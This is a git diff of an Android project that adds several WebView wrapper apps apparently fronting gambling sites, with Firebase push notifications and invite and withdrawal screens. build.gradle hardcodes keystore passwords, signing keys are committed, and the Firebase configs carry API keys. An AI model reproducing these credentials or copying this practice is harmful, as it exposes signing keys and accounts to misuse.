b/turbo6/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/turbo6/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/xml/network_security_config.xml b/turbo6/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/turbo6/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/turbo6/src/main/res/xml/provider_paths.xml b/turbo6/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/turbo6/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/turbo6/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/turbo6/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/turbo6/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/u88/build.gradle b/u88/build.gradle index 24ad3b9..570e8a2 100644 --- a/u88/build.gradle +++ b/u88/build.gradle @@ -9,7 +9,7 @@ android { defaultConfig { //70 - applicationId "com.web.u88" + applicationId "com.xyz.u88" minSdkVersion 24 targetSdkVersion 31 versionCode rootProject.ext.versionCode diff --git a/u88/google-services.json b/u88/google-services.json index 0286a0f..cba6df8 100644 --- a/u88/google-services.json +++ b/u88/google-services.json @@ -1,21 +1,21 @@ { "project_info": { - "project_number": "150764693015", - "project_id": "u88666-39a65", - "storage_bucket": "u88666-39a65.firebasestorage.app" + "project_number": "404503683902", + "project_id": "us-43e92", + "storage_bucket": "us-43e92.firebasestorage.app" }, "client": [ { "client_info": { - "mobilesdk_app_id": "1:150764693015:android:be8246575bdd4c4ab3de52", + "mobilesdk_app_id": "1:404503683902:android:e6afcbbd3b2c8c03b7426f", "android_client_info": { - "package_name": "com.web.u88" + "package_name": "com.xyz.u88" } }, "oauth_client": [], "api_key": [ { - "current_key": "AIzaSyCp8-o7eCBwSD540-rKwMG8TgGy1jgbG2o" + "current_key": "AIzaSyDOl3_2SdhEjxOYzqpYItPAbYTXJaG_zks" } ], "services": { diff --git a/u88/src/main/AndroidManifest.xml b/u88/src/main/AndroidManifest.xml index 642eb04..a34b9d1 100644 --- a/u88/src/main/AndroidManifest.xml +++ b/u88/src/main/AndroidManifest.xml @@ -1,6 +1,6 @@ + package="com.xyz.u88"> { - }); } public int getVersion(){ @@ -49,5 +45,4 @@ public class MainActivity2 extends com.web.base.MainActivity2 { } } - } diff --git a/ttslot888new/src/main/java/com/web/slottt/MyFirebaseMessageingService.java b/u88/src/main/java/com/xyz/u88/MyFirebaseMessageingService.java similarity index 99% rename from ttslot888new/src/main/java/com/web/slottt/MyFirebaseMessageingService.java rename to u88/src/main/java/com/xyz/u88/MyFirebaseMessageingService.java index 54bf002..649c326 100644 --- a/ttslot888new/src/main/java/com/web/slottt/MyFirebaseMessageingService.java +++ b/u88/src/main/java/com/xyz/u88/MyFirebaseMessageingService.java @@ -1,4 +1,4 @@ -package com.web.slottt; +package com.xyz.u88; import android.app.NotificationChannel; import android.app.NotificationManager; diff --git a/ttslot888new/src/main/java/com/web/slottt/WebApplication.java b/u88/src/main/java/com/xyz/u88/WebApplication.java similarity index 97% rename from ttslot888new/src/main/java/com/web/slottt/WebApplication.java rename to u88/src/main/java/com/xyz/u88/WebApplication.java index ed79d58..e66065f 100644 --- a/ttslot888new/src/main/java/com/web/slottt/WebApplication.java +++ b/u88/src/main/java/com/xyz/u88/WebApplication.java @@ -1,4 +1,4 @@ -package com.web.slottt; +package com.xyz.u88; import android.app.Application; import android.content.Context; diff --git a/u88/src/main/res/drawable/big_bg.xml b/u88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..0414f07 --- /dev/null +++ b/u88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/u88/src/main/res/values-night/themes.xml b/u88/src/main/res/values-night/themes.xml index 4bf7105..30cc043 100644 --- a/u88/src/main/res/values-night/themes.xml +++ b/u88/src/main/res/values-night/themes.xml @@ -43,27 +43,28 @@ - + 系统状态栏颜色,如果按照设计,状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了( + 因为系统文字是白色)。在values-v23表示当Android 23(即android 6)及以上版本将自动使用该目录 + 下的主题(即 colorPrimaryDark 使用素色,从而跟标题栏颜色保持一致,实现沉浸式ui效果)。--> + \ No newline at end of file diff --git a/u88/src/main/res/values/colors.xml b/u88/src/main/res/values/colors.xml index 7895913..2d0c701 100644 --- a/u88/src/main/res/values/colors.xml +++ b/u88/src/main/res/values/colors.xml @@ -9,7 +9,7 @@ #FFFFFFFF #EF4723 #FFFFFFFF - + #265d26 #2C2C2E #FFA722 #434343 diff --git a/u88/src/main/res/values/themes.xml b/u88/src/main/res/values/themes.xml index e47899f..e109c0e 100644 --- a/u88/src/main/res/values/themes.xml +++ b/u88/src/main/res/values/themes.xml @@ -47,28 +47,30 @@ + 系统状态栏颜色,如果按照设计,状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了( + 因为系统文字是白色)。在values-v23表示当Android 23(即android 6)及以上版本将自动使用该目录 + 下的主题(即 colorPrimaryDark 使用素色,从而跟标题栏颜色保持一致,实现沉浸式ui效果)。--> + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ufo9jpz/src/main/res/values/colors.xml b/ufo9jpz/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/ufo9jpz/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/ufo9jpz/src/main/res/values/strings.xml b/ufo9jpz/src/main/res/values/strings.xml new file mode 100644 index 0000000..111b04a --- /dev/null +++ b/ufo9jpz/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + UFO9 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ufo9jpz/src/main/res/values/themes.xml b/ufo9jpz/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/ufo9jpz/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ufo9jpz/src/main/res/xml/app_updater_paths.xml b/ufo9jpz/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/ufo9jpz/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/ufo9jpz/src/main/res/xml/network_security_config.xml b/ufo9jpz/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/ufo9jpz/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/ufo9jpz/src/main/res/xml/provider_paths.xml b/ufo9jpz/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/ufo9jpz/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/ufo9jpz/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/ufo9jpz/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/ufo9jpz/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/uu33au/.gitignore b/uu33au/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/uu33au/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/uu33au/build.gradle b/uu33au/build.gradle new file mode 100644 index 0000000..f7ef9a5 --- /dev/null +++ b/uu33au/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.uu33au" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "uu33au" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/uu33au/dskjweb.jks b/uu33au/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/uu33au/dskjweb.jks differ diff --git a/uu33au/google-services.json b/uu33au/google-services.json new file mode 100644 index 0000000..c6566f7 --- /dev/null +++ b/uu33au/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "289684120498", + "project_id": "notiu4u33", + "storage_bucket": "notiu4u33.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:289684120498:android:8353724077c147f6a87aab", + "android_client_info": { + "package_name": "com.xyz.uu33au" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDbm7aypAIFlowGoMKUoY83VLDnxcMQYVo" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/uu33au/ppn.jks b/uu33au/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/uu33au/ppn.jks differ diff --git a/uu33au/proguard-rules.pro b/uu33au/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/uu33au/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/uu33au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/uu33au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/uu33au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/uu33au/src/main/AndroidManifest.xml b/uu33au/src/main/AndroidManifest.xml new file mode 100644 index 0000000..f6c3da0 --- /dev/null +++ b/uu33au/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/uu33au/src/main/java/com/xyz/uu33au/MainActivity.java b/uu33au/src/main/java/com/xyz/uu33au/MainActivity.java new file mode 100644 index 0000000..4b7311f --- /dev/null +++ b/uu33au/src/main/java/com/xyz/uu33au/MainActivity.java @@ -0,0 +1,63 @@ +package com.xyz.uu33au; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 194; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://uu33au.co/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#fcfcfc"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#fcfcfc"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/uu33au/src/main/java/com/xyz/uu33au/MyFirebaseMessageingService.java b/uu33au/src/main/java/com/xyz/uu33au/MyFirebaseMessageingService.java new file mode 100644 index 0000000..411b0c6 --- /dev/null +++ b/uu33au/src/main/java/com/xyz/uu33au/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.uu33au; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/uu33au/src/main/java/com/xyz/uu33au/WebApplication.java b/uu33au/src/main/java/com/xyz/uu33au/WebApplication.java new file mode 100644 index 0000000..b178e23 --- /dev/null +++ b/uu33au/src/main/java/com/xyz/uu33au/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.uu33au; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/uu33au/src/main/res/drawable-anydpi/ic_action_back.xml b/uu33au/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/uu33au/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/uu33au/src/main/res/drawable-hdpi/ic_action_back.png b/uu33au/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/uu33au/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/uu33au/src/main/res/drawable-mdpi/ic_action_back.png b/uu33au/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/uu33au/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/uu33au/src/main/res/drawable-v24/ic_launcher_foreground.xml b/uu33au/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/uu33au/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/drawable-xhdpi/ic_action_back.png b/uu33au/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/uu33au/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/uu33au/src/main/res/drawable-xxhdpi/ic_action_back.png b/uu33au/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/uu33au/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/uu33au/src/main/res/drawable/big_bg.xml b/uu33au/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..3118ba2 --- /dev/null +++ b/uu33au/src/main/res/drawable/big_bg.xml @@ -0,0 +1,9 @@ + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/drawable/ic_launcher_background.xml b/uu33au/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/uu33au/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/uu33au/src/main/res/drawable/input_bg.xml b/uu33au/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/uu33au/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/uu33au/src/main/res/drawable/pass_word_bg.xml b/uu33au/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/uu33au/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/uu33au/src/main/res/drawable/pass_word_bg1.xml b/uu33au/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/uu33au/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/drawable/pass_word_bg2.xml b/uu33au/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/uu33au/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/drawable/shape_btn_bg.xml b/uu33au/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/uu33au/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/drawable/shape_dialog_bg2.xml b/uu33au/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/uu33au/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/drawable/shape_dialog_bg3.xml b/uu33au/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/uu33au/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/drawable/shape_dialog_bg_new.xml b/uu33au/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/uu33au/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/uu33au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/uu33au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/uu33au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/uu33au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/uu33au/src/main/res/mipmap-hdpi/ic_empty.png b/uu33au/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/uu33au/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/uu33au/src/main/res/mipmap-hdpi/ic_pull_down.png b/uu33au/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/uu33au/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/uu33au/src/main/res/mipmap-xhdpi/ic_close.png b/uu33au/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/uu33au/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/uu33au/src/main/res/mipmap-xhdpi/ic_menu.png b/uu33au/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/uu33au/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git 